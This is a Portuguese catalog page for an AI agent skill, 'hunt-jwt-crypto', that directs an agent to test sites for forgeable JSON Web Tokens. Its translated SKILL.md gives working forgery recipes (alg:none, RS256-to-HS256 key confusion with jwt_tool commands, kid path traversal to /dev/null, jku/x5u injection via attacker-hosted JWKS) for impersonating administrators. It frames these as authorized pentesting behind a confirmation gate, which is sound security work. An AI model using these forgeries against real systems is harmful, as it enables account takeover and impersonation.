hunt-jwt-crypto
Faz seu agente procurar por falhas criptográficas em JWT. Ajuda a proteger tokens de autenticação contra manipulação.
O que ela faz
Esta ferramenta ajuda a encontrar falhas de segurança em tokens usados para autenticação na internet. Ela verifica se é possível enganar o sistema para que ele aceite um token modificado, permitindo que você se passe por outro usuário ou um administrador.
Quando usar
- ✓Ao testar a segurança de um site ou aplicativo.
- ✓Para entender como tokens de autenticação funcionam e onde podem falhar.
- ✓Em exercícios de segurança autorizados para encontrar vulnerabilidades.
Exemplo do que pedir para a IA
“Verifique se há falhas de segurança no token JWT do site example.com”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta analisa a estrutura do token e tenta aplicar técnicas conhecidas para explorar falhas. Ela pode tentar alterar o token para ter privilégios de administrador ou se passar por outro usuário, explorando como o sistema verifica a autenticidade do token.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill hunt-jwt-cryptoOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-jwt-crypto/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL exato, IP, conta ou recurso alvo.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
HUNT-JWT-CRYPTO — JSON Web Tokens Forjáveis (Falhas Criptográficas A04)
O que realmente vale a pena
Um JWT é header.payload.signature, cada um em base64url. A assinatura é a única
coisa que impede você de editar o payload (sua identidade/papel) e reproduzi-lo.
Vale Alto/Crítico quando o verificador pode ser enganado para aceitar um
token que você forjou — assim você se torna outro usuário ou um administrador sem o segredo deles.
Duas falhas clássicas e genéricas de verificador:
alg:none— o verificador confia no cabeçalhoalgdo próprio token. Definaalg:"none", remova a assinatura, edite o payload (por exemplo,role:"admin", oid/emailde outro usuário). Um verificador quebrado pula a verificação da assinatura.- Confusão de chave RS256 → HS256 — o token é assinado com RS256 (assimétrico). A chave pública RSA é, por definição, pública. Se o verificador permitir que você escolha HS256, ele usará essa chave pública como o segredo HMAC — que você também conhece. Assine um payload editado com HS256 usando a chave pública e ele validará.
Reconhecimento — este aplicativo é baseado em JWT?
Login/token responses containing "token":"eyJ..." or Set-Cookie: token=eyJ...
Authorization: Bearer eyJ... on authenticated requests
A JWKS / public-key endpoint: /.well-known/jwks.json, /jwks, public-key in the JS bundle
Decodifique o cabeçalho (base64url do primeiro segmento). "alg":"RS256" → tente a confusão de chave. Qualquer alg → sempre tente alg:none primeiro; é grátis.
Forjando o token (nunca codifique manualmente base64 — use uma ferramenta JWT)
Use uma ferramenta projetada para isso, para que a codificação/assinatura esteja correta: jwt_tool
(jwt_tool <token> -T para adulterar interativamente, -X a para alg:none, -X k -pk public.pem para confusão de chave), a extensão JWT Editor do Burp, ou algumas linhas
de PyJWT. Cada falsificação abaixo é o conceito mais a reivindicação a ser editada.
alg:none — torne-se administrador / outro usuário
header: {"alg":"none","typ":"JWT"}
payload: {"data":{"id":1,"email":"admin@target.example","role":"admin"}}
signature: (empty — keep the trailing dot: header.payload. )
Alguns verificadores rejeitam none em minúsculas, mas aceitam None/NONE/nOnE — tente variações de maiúsculas/minúsculas.
Confusão de chave RS256 → HS256 — uma vez que você tenha a chave pública RSA
1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
/.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
jwt_tool <token> -X k -pk public.pem
payload edit: {"sub":"administrator"} (or role:"admin" / another user's id)
Injeção de cabeçalho kid — o verificador carrega a chave HMAC de um ARQUIVO nomeado por kid
header: {"alg":"HS256","kid":"../../../../../../../dev/null"}
secret: "" (contents of /dev/null = empty string → sign HS256 with an empty secret)
payload: {"sub":"administrator"}
Saia do diretório de chaves primeiro. kid também pode conter SQLi / injeção de comando
/ SSRF se a busca da chave atingir um DB / shell / URL — mesma ideia: kid é
controlado pelo atacante e atinge um destino perigoso.
Injeção de cabeçalho jku / x5u (RS256) — o verificador busca a chave pública de um URL no token
1. Host a JWKS containing a public key you control, on a server the verifier can reach.
2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
with YOUR matching private key.
3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
path on the target's OWN domain so the fetch resolves to your JWKS.
…
Perguntas frequentes
O que é um JWT?
JWT significa JSON Web Token. É um padrão para criar tokens de acesso que transmitem informações de forma segura entre partes. Pense nele como um crachá digital que prova quem você é e quais permissões você tem.
Quais são os riscos de usar essa ferramenta?
O uso indevido desta ferramenta é ilegal e pode ter sérias consequências. Ela só deve ser usada em ambientes controlados e com permissão explícita do proprietário do sistema para fins educacionais ou de avaliação de segurança autorizada.
O que significa 'alg:none'?
É uma falha onde o sistema aceita um token sem assinatura. Se o sistema for vulnerável a isso, você pode modificar o token para se tornar um administrador ou outro usuário sem precisar da chave secreta.
Detalhes
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #3266
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC